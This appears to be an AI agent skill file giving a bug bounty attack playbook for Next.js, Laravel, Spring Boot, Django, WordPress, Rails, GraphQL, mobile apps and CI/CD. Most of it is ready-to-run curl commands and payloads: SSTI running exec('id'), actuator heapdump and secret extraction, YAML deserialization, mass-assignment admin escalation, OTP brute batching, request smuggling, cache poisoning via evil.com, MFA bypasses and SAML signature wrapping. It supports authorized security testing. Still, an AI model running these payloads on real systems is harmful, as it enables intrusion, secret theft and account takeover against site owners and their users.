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dragonked2 / advanced-techniques

Framework-specific attack playbooks, mobile app testing, CI/CD pipeline attacks, HTTP request smuggling, cache poisoning, and MFA/2FA bypass patterns. With differential testing integrated. Use when targeting specific frameworks or need platform-specific attack vectors.

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SKILL.md
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ADVANCED BUG BOUNTY TECHNIQUES — DIFFERIAL TESTING INTEGRATED

Framework-specific attacks, mobile testing, CI/CD pipelines, and deep-dive technique references.


1. FRAMEWORK-SPECIFIC ATTACK PLAYBOOKS

Next.js

# Server Actions CSRF — Origin: null bypass
curl -X POST https://target.com/action -H "Origin: null" -H "Content-Type: application/json" \
  -d '{"action":"deleteAccount"}'

# Image optimizer SSRF via redirect
curl "https://target.com/_next/image?url=https://your-server.com/redirect-to-metadata&w=128&q=75"

# Middleware bypass via _next/data
curl "https://target.com/_next/data/BUILD_ID/admin/dashboard.json"

# Exposed __NEXT_DATA__ with sensitive props
curl -s https://target.com/dashboard | grep -o '__NEXT_DATA__.*</script>' | \
  python3 -c "import sys,json; d=json.loads(sys.stdin.read().replace('__NEXT_DATA__ = ','').replace('</script>','')); print(json.dumps(d['props'], indent=2))"

# rewrites proxy creating SSRF
curl "https://target.com/api/../../admin/internal-endpoint"

Priority checks: __NEXT_DATA__ on every authenticated page, /_next/image SSRF, middleware bypass on admin routes.

Laravel

# Debug mode → RCE via Ignition (CVE-2021-3129)
curl -s https://target.com/_ignition/health-check

# Exposed dashboards
curl -sI https://target.com/horizon    # Queue dashboard
curl -sI https://target.com/telescope  # Request inspector
curl -sI https://target.com/nova       # Admin panel

# APP_KEY leak → session/cookie forging
curl -s https://target.com/.env | grep APP_KEY

# Mass assignment in Eloquent models
curl -X PUT https://target.com/api/profile -H "Content-Type: application/json" \
  -d '{"name":"hacker","is_admin":true,"role":"admin","credits":999999}'

# Laravel debug error page leaks
curl "https://target.com/api/users/not-a-number"

Spring Boot

# Actuator endpoints — gold mine if exposed
curl -s https://target.com/actuator/ | python3 -m json.tool
curl -s https://target.com/actuator/env          # Environment variables (secrets!)
curl -s https://target.com/actuator/heapdump -o heap.bin  # Memory dump → grep for passwords
curl -s https://target.com/actuator/mappings      # All URL mappings (hidden endpoints!)
curl -s https://target.com/actuator/jolokia/list  # JMX beans → possible RCE

# Alternative paths (if /actuator is blocked)
curl -s https://target.com/manage/env
curl -s https://target.com/actuator/..;/env  # Tomcat path normalization bypass

# SpEL injection in error messages
curl "https://target.com/api/search?q=\${7*7}"
# If response contains "49" → SpEL injection → RCE

# Thymeleaf SSTI
curl "https://target.com/path?lang=__\${T(java.lang.Runtime).getRuntime().exec('id')}__::.x"

Django

# Debug toolbar exposed
curl -s https://target.com/__debug__/

# SECRET_KEY in .env → session forging
curl -s https://target.com/.env | grep SECRET_KEY

# ORM injection via __ lookups
curl "https://target.com/api/users?filter=password__startswith=a"
curl "https://target.com/api/users?filter=email__regex=.*"
curl "https://target.com/api/users?order_by=password"  # Boolean oracle via ordering

# Admin panel check
curl -sI https://target.com/admin/

WordPress

# xmlrpc.php brute force + pingback SSRF
curl -s -X POST https://target.com/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

# REST API user enumeration
curl -s https://target.com/wp-json/wp/v2/users | python3 -m json.tool
curl -s "https://target.com/?author=1"  # Redirects to /author/USERNAME/

# Subscriber → Admin escalation via plugin bugs
curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -H "Cookie: wordpress_logged_in_xxx=SUBSCRIBER_COOKIE" \
  -d "action=PLUGIN_ACTION&role=administrator"

Ruby on Rails

# YAML deserialization RCE (older Rails + psych gem)
curl -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/x-yaml" \
  -d '--- !ruby/object:Gem::Installer i: x'

# Mass assignment
curl -X PATCH https://target.com/api/users/me \
  -H "Content-Type: application/json" \
  -d '{"user":{"admin":true,"role":"superadmin","verified":true}}'

# Secret key leak → session cookie forging
curl -s https://target.com/.env | grep SECRET_KEY_BASE

GraphQL Deep Dive

# Introspection (even when "disabled" — try POST + GET + different content types)
{__schema{types{name,fields{name,type{name,kind,ofType{name,kind}}}}}}

# Alias-based IDOR (fetch multiple users in one request)
{a1: user(id: "1") { email ssn } a2: user(id: "2") { email ssn } a3: user(id: "3") { email ssn }}

# Batched queries for rate limit bypass
[
  {"query":"mutation{login(email:\"victim@test.com\",otp:\"0001\"){token}}"},
  {"query":"mutation{login(email:\"victim@test.com\",otp:\"0002\"){token}}"}
]

# Nested query DoS
{users {posts {comments {author {posts {comments {author {id}}}}}}}}

# Mutation authorization bypass
mutation { updateUserRole(userId: "victim", role: ADMIN) { id role } }

2. MOBILE APP TESTING

Android

# Decompile APK
apktool d target.apk -o target_src
jadx target.apk -d target_jadx

# Find hardcoded secrets
grep -rn "api_key\|secret\|password\|token\|Bearer" target_jadx/

# Check AndroidManifest.xml for exported components
grep -i 'exported="true"' target_src/AndroidManifest.xml

# Find deep link handlers
grep -A5 '<data android:scheme' target_src/AndroidManifest.xml

# Certificate pinning bypass
objection -g com.target.app explore
# Then: android sslpinning disable

iOS

# Extract IPA from jailbroken device
frida-ios-dump -u com.target.app

# Binary analysis
strings target.app/target | grep -i "api\|key\|secret\|http\|password\|token"

# Class dump
class-dump -H target.app/target -o headers/
grep -rn "admin\|debug\|hidden\|internal\|test" headers/

# Runtime manipulation with Frida
frida -U -f com.target.app -l bypass_ssl.js

Common Mobile Bugs

BugWhereImpact
Hardcoded API keysDecompiled sourceDepends on scope
Certificate pinning bypassFrida/objectionMitM on all traffic
Exported componentsAndroidManifest.xmlLaunch internal activities
Deep link injectionURL scheme handlersTrigger actions without auth
Local data storageSharedPreferences, SQLiteCredential theft
WebView XSSloadUrl with user dataCookie theft
Intent redirectionstartActivity with untrusted IntentInternal component access
Backup extractionandroid:allowBackup="true"Extract app data

3. CI/CD PIPELINE ATTACKS

GitHub Actions

# DANGEROUS: pull_request_target + checkout of PR code
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with:
      ref: ${{ github.event.pull_request.head.sha }}  # VULN
  - run: make build  # Attacker-controlled Makefile runs with repo secrets
# What to look for:
grep -rn "pull_request_target" .github/workflows/
grep -rn 'github.event.pull_request.head' .github/workflows/
grep -rn "permissions:" .github/workflows/ -A5 | grep "write"
grep -rn "secrets\." .github/workflows/ | grep -v "github.token"

GitLab CI

# DANGEROUS: rules:changes on fork MRs + before_script
variables:
  DEPLOY_KEY: $DEPLOY_KEY
before_script:
  - echo $DEPLOY_KEY | base64 -d > ~/.ssh/id_rsa

4. HTTP REQUEST SMUGGLING

CL.TE

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

TE.CL

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 3

8

SMUGGLED

0

TE.TE (Obfuscation)

Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked

5. CACHE POISONING

# Unkeyed headers
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# If reflected → cache serves response with evil.com to all users

# Fat GET
GET /?param=normal HTTP/1.1
Host: target.com
X-HTTP-Method-Override: POST
Content-Length: 0
# If cache keys on GET param but backend sees POST → poison

6. MFA/2FA BYPASS

#PatternTest
1Response manipulationChange {"verified": false} → {"verified": true}
2SMS delay exploitRequest OTP, wait for expiry, try old code on different endpoint
3Backup code brute4-6 digit backup codes, often no rate limit
4Cookie/session manipulationSet mfa_completed=true cookie after first factor
5Step skipNavigate directly to /dashboard after first factor
6Race on OTPSend 10 concurrent OTP verification requests before lockout
7SMS callbackIf SMS gateway has webhook, intercept OTP in transit

7. SAML ATTACKS

XSW (XML Signature Wrapping)

<saml:Assertion>
  <xx:Execute xmlns:xx="http://example.com">
    <saml:Assertion>
      <saml:Subject><saml:NameID>admin@example.com</saml:NameID></saml:Subject>
    </saml:Assertion>
  </xx:Execute>
</saml:Assertion>
<!-- Signature validates on outer, app processes inner -->

Comment Injection

<saml:NameID>admin@example.com<!-- -->@attacker.com</saml:NameID>

Signature Stripping

# Remove <ds:Signature>...</ds:Signature> block
# If app doesn't re-validate → assertion accepted without signature